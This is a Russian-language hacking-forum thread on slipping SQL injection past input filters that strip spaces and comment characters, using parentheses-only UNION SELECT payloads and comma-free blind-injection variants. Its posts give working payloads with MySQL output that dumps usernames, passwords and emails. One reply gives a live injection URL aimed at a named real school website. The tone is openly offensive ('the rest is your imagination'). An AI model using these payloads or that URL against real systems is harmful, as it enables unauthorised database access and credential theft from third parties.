Тянет меня видимо раз в полгода писать что то подобное. Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC: -Пробел %2B, + -Табуляция %09 -Возврат каретки %0D -Перевод строки %0A -Составляющие комментариев -, /, * *Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не пришлось бы использовать комментарии 1. Например вот такой скрипт фильтрации: PHP: $str = str_replace('/', '', str_replace('*', '', str_replace('=', '', str_replace('+', '', str_replace(' ', '', str_replace('%2B', '', str_replace('%0B', '', str_replace('%09', '', str_replace('$0D', '', str_replace('%0A', '', $str)))))))))); Видно что он всё порежет. Тут помогут скобки ( ) , с их помощью можно вообще не пользоваться какими либо другими разделителями инструкций/выражений etc. 2. PoC Code: mysql> select * from news; +---------+-----------+------------+---------------+ | news_id | news_name | news_theme | news | +---------+-----------+------------+---------------+ | 1 | news1 | theme1 | newsnewsnews1 | | 2 | news2 | theme2 | newsnewsnews2 | +---------+-----------+------------+---------------+ 2 rows in set mysql> select * from users; +----+----------+--------+--------------+ | id | username | pwd | email | +----+----------+--------+--------------+ | 1 | admin | 12345 | [email protected] | | 2 | user | qwerty | [email protected] | | 3 | user1 | 0000 | [email protected] | +----+----------+--------+--------------+ 3 rows in set --- Code: mysql> select news_name, news_theme, news from news where news_id=1; Допустим параметр news_id как раз мы можем изменить, тогда: Code: mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3)); +-----------+------------+------+ | news_name | news_theme | news | +-----------+------------+------+ | 1 | 2 | 3 | +-----------+------------+------+ 1 row in set Ну вы понели.. --- Code: mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1)); +----------------------------+---------------------+------+ | news_name | news_theme | news | +----------------------------+---------------------+------+ | 1:admin:12345:[email protected] | test:root@localhost | NULL | +----------------------------+---------------------+------+ 1 row in set Фильтр успешно обходится. Дальше только ваша фантазия. 3 ... 4 PROFIT PS Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает. PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить. PPPS Если не понятна логика построения таких запросов, спрашивайте. eof
Мой пост можете не читать Конечно класно, но такой код жесть) Хотя б уже сделал PHP: str_replace(array("/","*","итд"), $str);
farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+ Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев.
Ну попробуем развивать тему, не знаю было такое уже или нет. Иногда встречаются супер-пупер фильтры которые при обнаружении конструкции типа substring((select),1,1) зарубают всё удовольствие. Аналог substring() - mid() Так же хочу отметить, что обходиться без запятой в слепых инъекциях вполне реально: substring((select password from user limit 0,1),1,1) <=> substring((select password from user where id = 1) FROM 1 FOR 1) <=> mid((select password from user where id = 1) FROM 1 FOR 1) Хотя накладка появляется - нужно знать какую либо колонку по которой можно перебирать строки таблицы.
Если нужно обходиться без запятых, так же можно применить: limit 0,1 <=> limit 1 offset 0 if((a),b,c) <=> case when (a) then b else c Пример запроса https://forum.antichat.ru/showpost.php?p=1696686&postcount=48 см внизу
[Raz0r]Описывал уже нечто подобное в своём блоге. можно ещё по другому обойти, Отправляем %*0A Фильтр обрежет *, и останеться %0A.
А ты находишь разницу между вырезанием символов из переменной и их поиском в ней? Мы тут как бы вкладываем аналогичные конструкции, а не обсуждаем конкретные фильтры.